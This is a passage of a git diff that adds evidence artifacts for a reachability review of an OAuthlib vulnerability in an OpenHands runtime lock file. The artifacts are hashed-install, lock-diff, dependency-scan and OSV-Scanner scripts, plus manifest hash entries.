md +import re +import sys +from pathlib import Path + +for target in ("click", "pypdf", "soupsieve"): + print(f"== who requires {target}:") + for dist in md.distributions(): + for req in dist.requires or []: + if re.match(rf"\s*{target}\b", req, re.I): + print(f" {dist.metadata['Name']} {dist.version}: {req}") +site = Path(sys.argv[1]) +print("== dynamic-import shapes naming oauthlib in requests_oauthlib and google_auth_oauthlib:") +count = 0 +for package in ("requests_oauthlib", "google_auth_oauthlib"): + for path in sorted((site / package).rglob("*.py")): + for number, line in enumerate(path.read_text(encoding="utf-8", errors="replace").splitlines(), 1): + if re.search(r"importlib|__import__|import_module|entry_points|getattr\(", line): + count += 1 + print(f" {path.relative_to(site)}:{number}: {line.strip()[:120]}") +print(f" ({count} lines)") diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/install_candidate.sh.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/install_candidate.sh.txt new file mode 100644 index 000000000..bfedd8c72 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/install_candidate.sh.txt @@ -0,0 +1,12 @@ +#!/bin/bash +# install_candidate.sh: reproduce the candidate's recorded hashed installs (build-requirements.lock, then the candidate lock with --no-build-isolation) +# into a fresh Python 3.13.15 venv, in a clean environment, low priority. Output in $W/install.log. +set -u +W= +export UV_NO_CONFIG=1 +rm -rf "$W/venv" +echo "[$(date -u +%FT%TZ)] venv"; nice -n 19 uv venv --python 3.13.15 "$W/venv" 2>&1 | tail -2 +echo "[$(date -u +%FT%TZ)] build lock"; nice -n 19 uv pip install --python "$W/venv/bin/python" --require-hashes --no-deps --only-binary :all: --index-url https://pypi.org/simple -r "$W/build.lock" 2>&1 | tail -3; echo "rc=${PIPESTATUS[0]}" +echo "[$(date -u +%FT%TZ)] candidate lock"; nice -n 19 uv pip install --python "$W/venv/bin/python" --require-hashes --no-deps --no-build-isolation --index-url https://pypi.org/simple -r "$W/cand.lock" 2>&1 | tail -4; echo "rc=${PIPESTATUS[0]}" +echo "[$(date -u +%FT%TZ)] pip check"; uv pip check --python "$W/venv/bin/python" 2>&1 | tail -3 +echo "[$(date -u +%FT%TZ)] done" diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/lock_closure_diff.py.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/lock_closure_diff.py.txt new file mode 100644 index 000000000..fe33d3ca1 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/lock_closure_diff.py.txt @@ -0,0 +1,28 @@ +"""Closure difference between two hashed pip lock files (name==version lines): added, removed, changed. Usage: lock_closure_diff.py OLD NEW""" +import re +import sys + + +def parse(path): + out = {} + for line in open(path, encoding="utf-8"): + m = re.match(r"^([A-Za-z0-9_.\-]+)(?:\[[^\]]*\])?==([^\s;\\]+)", line) + if m: + out[m.group(1).lower().replace("_", "-")] = m.group(2) + else: + m = re.match(r"^([A-Za-z0-9_.\-]+)\s*@\s*(\S+)", line) + if m: + out[m.group(1).lower().replace("_", "-")] = "@" + m.group(2).rsplit("/", 1)[-1][:60] + return out + + +old, new = parse(sys.argv[1]), parse(sys.argv[2]) +added = sorted(k for k in new if k not in old) +removed = sorted(k for k in old if k not in new) +changed = sorted(k for k in new if k in old and old[k] != new[k]) +print(f"old: {len(old)} packages, new: {len(new)}; added {len(added)}, removed {len(removed)}, changed {len(changed)}") +print("ADDED: ", ", ".join(f"{k}=={new[k]}" for k in added) or "-") +print("REMOVED: ", ", ".join(f"{k}=={old[k]}" for k in removed) or "-") +print("CHANGED: ", ", ".join(f"{k} {old[k]} -> {new[k]}" for k in changed) or "-") +for name in ("oauthlib", "pyjwt", "requests-oauthlib", "google-auth-oauthlib", "authlib", "mcp", "litellm", "google-auth", "openhands-sdk", "openhands-tools"): + print(f" {name}: old {old.get(name, '-')}, new {new.get(name, '-')}") diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/oauthlib_independent_scan.py.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/oauthlib_independent_scan.py.txt new file mode 100644 index 000000000..4f4f95769 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/oauthlib_independent_scan.py.txt @@ -0,0 +1,66 @@ +"""Independent OAuthlib sweep of an installed wheel closure (a different method from the candidate's AST scan, so that the two can disagree): +1. reverse dependencies from installed metadata (Requires-Dist naming oauthlib); +2. a raw-text sweep of EVERY file under site-packages outside oauthlib itself (any extension, binary included) for the string 'oauthlib', grouped by + top-level package, with the import-shaped lines and the dynamic-import shapes (importlib, __import__, entry points) shown; +3. the names of oauthlib's server-side classes and of the two advisories' code paths wherever they occur outside oauthlib; +4. sha256 of the two advisory source files and the pinned versions. +Usage: python oauthlib_independent_scan.py """ +import collections +import hashlib +import importlib.metadata as md +import re +import sys +from pathlib import Path + +SITE = Path(sys.argv[1]) +print("== versions:", {n: md.version(n) for n in ("oauthlib", "PyJWT", "requests-oauthlib", "google-auth-oauthlib", "authlib", "openhands-sdk", "openhands-tools")}) +print("== reverse dependencies (Requires-Dist names oauthlib):") +for dist in md.distributions(): + for req in dist.requires or []: + if re.match(r"\s*oauthlib\b", req, re.I): + print(" ", dist.metadata["Name"], dist.version, "<-", req) +SERVER = re.compile(r"RevocationEndpoint|AuthorizationCodeGrant|WebApplicationServer|LegacyApplicationServer|BackendApplicationServer|MobileApplicationServer|" + r"oauthlib\.oauth2\.Server|oauthlib\.openid|enable_jsonp|code_challenge_method_s256|validate_code_challenge|pre_configured|RequestValidator") +files_with = collections.defaultdict(list) +scanned = 0 +for path in SITE.rglob("*"): + if not path.is_file() or path.is_symlink(): + continue + rel = path.relative_to(SITE) + top = rel.parts[0] + if top in ("oauthlib",) or top.startswith("oauthlib-"): + continue + scanned += 1 + try: + data = path.read_bytes() + except OSError: + continue + if b"oauthlib" not in data: + continue + files_with[top].append((rel.as_posix(), data)) +print(f"== raw-text sweep: {scanned} files outside oauthlib; files mentioning 'oauthlib': {sum(len(v) for v in files_with.values())} in {len(files_with)} top-level entries") +for top, entries in sorted(files_with.items()): + kinds = collections.Counter(Path(rel).suffix or "(none)" for rel, _ in entries) + print(f" {top}: {len(entries)} files {dict(kinds)}") +print("== import-shaped and dynamic lines (text files), outside requests_oauthlib's plain client imports:") +for top, entries in sorted(files_with.items()): + for rel, data in entries: + if not rel.endswith((".py", ".pyi", ".txt", ".cfg", ".toml", ".json", ".pth", ".md", ".rst")): + print(f" [binary or other] {rel}") + continue + for number, line in enumerate(data.decode("utf-8", "replace").splitlines(), 1): + if "oauthlib" in line and re.search(r"\bimport\b|importlib|__import__|entry_points|find_spec|Requires-Dist|import_module", line) and top != "requests_oauthlib": + print(f" {rel}:{number}: {line.strip()[:150]}") +print("== server-side or advisory names in files that mention oauthlib (outside oauthlib):") +hits = 0 +for top, entries in sorted(files_with.items()): + for rel, data in entries: + for number, line in enumerate(data.decode("utf-8", "replace").splitlines(), 1): + if SERVER.search(line): + hits += 1 + print(f" {rel}:{number}: {line.strip()[:150]}") +print(f" ({hits} lines)") +print("== advisory source files:") +for rel in ("oauthlib/oauth2/rfc6749/endpoints/revocation.py", "oauthlib/oauth2/rfc6749/grant_types/authorization_code.py", + "oauthlib/oauth2/rfc6749/endpoints/pre_configured.py", "oauthlib/openid/connect/core/endpoints/pre_configured.py"): + print(" ", rel, hashlib.sha256((SITE / rel).read_bytes()).hexdigest()) diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/osv_summary.py.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/osv_summary.py.txt new file mode 100644 index 000000000..a554576d3 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/osv_summary.py.txt @@ -0,0 +1,15 @@ +"""Summarize osv-scanner --format json output: package -> vulnerability ids (and aliases that are GHSA ids). Usage: osv_summary.py FILE...""" +import json +import sys + +for path in sys.argv[1:]: + doc = json.load(open(path, encoding="utf-8")) + found = {} + for result in doc.get("results", []): + for package in result.get("packages", []): + info = package.get("package", {}) + ids = sorted({v.get("id") for v in package.get("vulnerabilities", [])}) + groups = package.get("groups", []) + if ids: + found[f"{info.get('name')}=={info.get('version')}"] = ids + print(path.rsplit("/", 1)[-1], "->", json.dumps(found) if found else "no findings") diff --git a/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/run_review_outputs.sh.txt b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/run_review_outputs.sh.txt new file mode 100644 index 000000000..211aa0c08 --- /dev/null +++ b/evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/run_review_outputs.sh.txt @@ -0,0 +1,80 @@ +#!/bin/bash +# run_review_outputs.sh -- regenerate, from the immutable PR 535 head (git objects) and the scratch install of its lock, the read-only outputs of the independent +# OAuthlib reachability review that were first printed in a session: identity of the head and the lock, the closure difference against the PR base's lock, the +# advisory-file hash comparison, the three OSV-Scanner scans (CI config, empty-config control, base lock) with their exit codes, the pin-source check, and +# the osv-scanner binary identity. Every output carries its observed time. Nothing here touches a gateway, a store or a credential. +set -u +C= +W= +OUT=$W/out +P=refs/remotes/pr/535 +BASE=f03f41c7f3601532b8635f8f112a3d2731454375 +O=blueprints/runtime-workers/openhands +L=$O/requirements.lock +OSV=/osv-scanner +SP=$W/venv/lib/python3.13/site-packages +WT= +mkdir -p "$OUT" +stamp() { date -u +%FT%TZ; } + +{ + echo "observed_utc=$(stamp)" + echo "pr head: $(git -C $C rev-parse $P)" + echo "pr base (main when the PR was made): $BASE" + echo "merge base of head and origin/main: $(git -C $C merge-base $P origin/main)" + echo "candidate lock sha256 at the head: $(git -C $C show $P:$L | sha256sum | cut -d' ' -f1)" + echo "lock sha256 at the PR base: $(git -C $C show $BASE:$L | sha256sum | cut -d' ' -f1)" + echo "pins.json requirements_sha256: $(git -C $C show $P:$O/pins.json | python3 -c 'import json,sys; print(json.load(sys.stdin)["requirements_sha256"])')" + echo "pins.json version: $(git -C $C show $P:$O/pins.json | python3 -c 'import json,sys; print(json.load(sys.stdin)["version"])')" + echo "--- the OpenHands entry of IGNORE_ALLOWED_LOCKS in tests/test_osv_lockfile_coverage.py at the head:" + git -C $C show $P:tests/test_osv_lockfile_coverage.py | grep -n -A3 '"blueprints/runtime-workers/openhands/requirements.lock": {' | sed 's/^/ /' + echo "--- lines the PR adds or removes in .github/osv-scanner.toml (changed lines only):" + git -C $C diff -U0 $BASE $P -- .github/osv-scanner.toml | grep '^[-+]' | grep -v '^+++\|^---' | sed 's/^/ /' + echo "--- the evidence file the entry names exists at the head: $(git -C $C cat-file -t $P:$O/evidence/wheel-relock-20260930.json 2>&1)" +} > "$OUT/pr535-identity.txt" 2>&1 + +git -C $C show $BASE:$L > "$OUT/lock-at-pr-base.copy" +git -C $C show $P:$L > "$OUT/lock-at-pr-head.copy" +{ + echo "observed_utc=$(stamp)" + echo "sha256 of the two inputs: base $(sha256sum "$OUT/lock-at-pr-base.copy" | cut -c1-64) | head $(sha256sum "$OUT/lock-at-pr-head.copy" | cut -c1-64)" + python3 $W/lock_closure_diff.py "$OUT/lock-at-pr-base.copy" "$OUT/lock-at-pr-head.copy" +} > "$OUT/closure-diff-base-vs-head.txt" 2>&1 + +git -C $C show $P:$O/evidence/wheel-relock-20260930-oauthlib-callers.txt > "$OUT/candidate-callers-output.copy" +{ + echo "observed_utc=$(stamp)" + echo "hashes in the reproduced install versus the hashes printed in the candidate's own callers output (evidence/wheel-relock-20260930-oauthlib-callers.txt at the head):" + for f in oauth2/rfc6749/endpoints/revocation.py oauth2/rfc6749/grant_types/authorization_code.py oauth2/rfc6749/endpoints/pre_configured.py openid/connect/core/endpoints/pre_configured.py; do + theirs=$(grep -E "^oauthlib/$f sha256" "$OUT/candidate-callers-output.copy" | head -1 | awk '{print $3}'); mine=$(sha256sum "$SP/oauthlib/$f" | cut -d' ' -f1) + echo " oauthlib/$f: reproduced $mine | candidate's $theirs | $([ "$theirs" = "$mine" ] && echo IDENTICAL || echo DIFFERENT)" + done + echo "func_timeout/py2_raise.py: reproduced $(sha256sum "$SP/func_timeout/py2_raise.py" | cut -d' ' -f1) | pinned by the candidate 19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77" + echo "func_timeout/dafunc.py lines 20-26 (which raise helper is selected on Python 3):"; sed -n 20,26p "$SP/func_timeout/dafunc.py" | sed 's/^/ /' +} > "$OUT/advisory-files-and-helper.txt" 2>&1 + +{ + echo "observed_utc=$(stamp)" + $W/venv/bin/python $W/constraint_sources.py "$SP" +} > "$OUT/pin-sources.txt" 2>&1 + +{ + echo "observed_utc=$(stamp)" + echo "osv-scanner binary sha256: $(sha256sum $OSV | cut -d' ' -f1)" + echo "CI pin (.github/workflows/security-scan.yml): ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108" + $OSV --version 2>&1 | head -2 +} > "$OUT/osv-scanner-identity.txt" 2>&1 + +rm -rf "$WT"; git -C $C worktree add --detach "$WT" $P > /dev/null 2>&1 || { echo "worktree add failed" > "$OUT/osv-exit-codes.txt"; exit 3; } +: > "$W/empty-osv.toml" +mkdir -p "$W/basescan" && cp "$OUT/lock-at-pr-base.copy" "$W/basescan/requirements.lock" +{ + echo "observed_utc=$(stamp)" + cd "$WT" && "$OSV" scan source --config .github/osv-scanner.toml --no-resolve --lockfile="requirements.txt:$L" --format json > "$OUT/osv-head-lock-with-ci-config.json" 2> "$OUT/osv-head-lock-with-ci-config.err"; echo "PR-head lock, the head's own .github/osv-scanner.toml (the CI form): exit $?" + "$OSV" scan source --config "$W/empty-osv.toml" --no-resolve --lockfile="requirements.txt:$L" --format json > "$OUT/osv-head-lock-empty-config-control.json" 2> "$OUT/osv-head-lock-empty-config-control.err"; echo "PR-head lock, EMPTY config (the control; must find the two OAuthlib ids): exit $?" + cd "$W/basescan" && "$OSV" scan source --config "$W/empty-osv.toml" --no-resolve --lockfile="requirements.txt:requirements.lock" --format json > "$OUT/osv-base-lock-empty-config.json" 2> "$OUT/osv-base-lock-empty-config.err"; echo "PR-base lock (main's), EMPTY config: exit $?" + cd /tmp && python3 $W/osv_summary.py "$OUT/osv-head-lock-with-ci-config.json" "$OUT/osv-head-lock-empty-config-control.json" "$OUT/osv-base-lock-empty-config.json" + grep -h "found [0-9]* packages" "$OUT/osv-head-lock-with-ci-config.err" | sed 's/^/stderr: /' +} > "$OUT/osv-exit-codes-and-findings.txt" 2>&1 +git -C $C worktree remove --force "$WT" > /dev/null 2>&1; git -C $C worktree prune +echo "[$(stamp)] outputs regenerated in $OUT" diff --git a/manifests/evidence.json b/manifests/evidence.json index f53bc9159..26fef87fd 100644 --- a/manifests/evidence.json +++ b/manifests/evidence.json @@ -35453,6 +35453,106 @@ "sha256": "c65f28d30ccd96cb4430d7c66b746ea663888b9006acf07a0842a33ec3b49069", "bytes": 2149 }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/README.md", + "sha256": "86bb934c5c1c1ea571d81322eb5e58348e03aeba4b8716962b516068bdaf82e5", + "bytes": 1852 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/advisory-files-and-helper.txt", + "sha256": "5ae316fede53b6745457fb70b87e164a19aa6ed6ef017068d016ddf15b6770fc", + "bytes": 1557 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/closure-diff-base-vs-head.txt", + "sha256": "7f1b0f7a7784ab785bbc5f7902ae13a9d02a8c965d3fd049f992858838c399c5", + "bytes": 6933 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/commands-as-typed.txt", + "sha256": "b646cc36bdb75310ae655c80a029196a9cb5f5b63fc91c458e13601f66d2fb00", + "bytes": 2046 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/independent-scan.txt", + "sha256": "9245d08c16b688f99550c56e473c3a9afd9ca4db6794af420ac44b18cd56a09b", + "bytes": 2488 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/install-log.txt", + "sha256": "b1f29f4d75eff73563fd26ec9100118a9385fb94fb03e73785a3f5ab1babf9fd", + "bytes": 537 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-base-lock-empty-config.json", + "sha256": "4e702447ce9a76053a20e7f3c996b0e2ee496814f7cc7c1a2965482f7ac4dfa4", + "bytes": 19980 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-exit-codes-and-findings.txt", + "sha256": "d4c6ffc4c51583a5fb3f6cd26c1c01dc5671947652af93a5e007a760c78deae7", + "bytes": 614 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-head-lock-empty-config-control.json", + "sha256": "7948ff7eaaec5a93adb420665d0f27dc61821cf1dbed80050666ebcf648a7d18", + "bytes": 20008 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-head-lock-with-ci-config.json", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/osv-scanner-identity.txt", + "sha256": "55b276f9bdf2b85def798a871ad50a22926910cfc41eaf28a1b2e5df851c76b8", + "bytes": 291 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/pin-sources.txt", + "sha256": "615546edda01e9cb3e6478f0f8ef120c563e62b660476512098d77e2f70677b6", + "bytes": 1114 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/checks/pr535-identity.txt", + "sha256": "3243cb6e0c7991f595edcc8802e4ded565df870e6a1a0fe85720dd596e52e23d", + "bytes": 1590 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/receipt.json", + "sha256": "71052cb44a4f8218fdc44c3870dc408a323442816ed3ff95a0f0e2a2622bd0aa", + "bytes": 8029 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/constraint_sources.py.txt", + "sha256": "74887ba29d2452bd47bd377605c505168a3ca7e6e6a0f96c36e1d61292316a2f", + "bytes": 1214 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/install_candidate.sh.txt", + "sha256": "f509b9ae5eade11391021f7db6996c3aff2efa318e3007abbcce459ef18d4f96", + "bytes": 1040 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/lock_closure_diff.py.txt", + "sha256": "07e92cfcbdff66f060f53a263d177d2639140382753237e9e7dde05f26795c33", + "bytes": 1411 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/oauthlib_independent_scan.py.txt", + "sha256": "d79da4cf7a3072a2847862178ad909347aa49ef2c2e02a280c58f11b8a952dac", + "bytes": 3943 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/osv_summary.py.txt", + "sha256": "3ce73d324c6e7c4dd190a96e1a7ed5a75ca5c760c9aaaa5dd4bd610bf5aad744", + "bytes": 709 + }, + { + "path": "evidence/artifacts/openhands-oauthlib-review-535-20260930/scripts/run_review_outputs.sh.txt", + "sha256": "9492f72a98c742df98af4e4139f02f71917a0980a37cc4d9ab5c9aa57d50ac2d", + "bytes": 5973 + }, { "path": "evidence/artifacts/portable-claude-native-qualification-20260921/angle1-upstream.json", "sha256": "d9d5d282a45d2b7e39b7cffeddaf73e50f07d24344cd77cff0484a33041cc756",